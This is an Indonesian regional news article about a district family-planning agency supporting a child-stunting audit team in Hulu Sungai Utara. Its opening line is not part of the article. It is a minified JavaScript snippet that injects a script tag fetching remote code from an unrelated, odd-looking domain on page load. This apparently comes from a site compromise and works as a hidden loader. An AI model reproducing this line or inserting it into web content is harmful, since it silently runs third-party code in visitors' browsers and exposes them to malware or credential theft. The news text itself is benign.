(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

DPPKB Dukung Pendampingan Tim Audit Stunting di HSU

KANALKALIMANTAN.COM, AMUNTAI – Dinas Pengendalian Penduduk dan Keluarga Berencana (DPPKB) Kabupaten Hulu Sungai Utara (HSU) melakukan pendampingan tim audit kasus stunting guna melakukan indentifikasi dan seleksi kasus.

Pendampingan tim audit stunting ini dilakukan sebagai upaya menekan angka kasus stunting di HSU.

“Tujuan digelarnya pendampingan tim audit stunting karena merupakan ujung tombak upaya penurunan stunting di Kabupaten Hulu Sungai Utara,” kata Kepala DPPKB HSU, Anisah Rasyidah di Aula DPPKB, Rabu (10/8/2022).

Anisah menyebut, peran serta tim audit stunting sangat penting agar dapat menciptkan pemahaman tumbuh kembang anak sehat melalui sosialisasi kepada masyarakat secara lebih luas.

Hal tersebut sesuai tertuang dalam Peraturan Presiden (Perpres) Nomor 72 Tahun 2021 tentang Percepatan Penurunan Stunting.

Jadi untuk mendukung pelaksanaan audit stunting dengan baik, BKKBN membentuk tim percepatan penurunan stunting di tingkat provinsi sampai dengan tingkat desa/kelurahan.

“Tim audit stunting yang merupakan ujung tombak penurunan stunting di Kabupaten HSU, dengan anggota terdiri dari tenaga ahli, dokter spesialis anak, dokter spesialis kandungan, ahli gizi dan psikolog,” jelas Anisah.

“Mereka akan berkolaborasi untuk melaksanakan pendampingan kepada calon ibu hamil dan anak-anak yang berisiko stunting,” tambahnya.

Dirinya berharap, adanya pendampingan tim audit stunting ini, masalah-masalah tentang keluarga berencana dan kependudukan di Kabupaten Hulu Sungai Utara dapat dipecahkan secara bersama.

“Aksi integrasi adalah instrumen dalam bentuk kegiatan untuk meningkatkan melaksanakan integrasi intervensi gizi dalam penurunan stunting,” pungkasnya. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : cell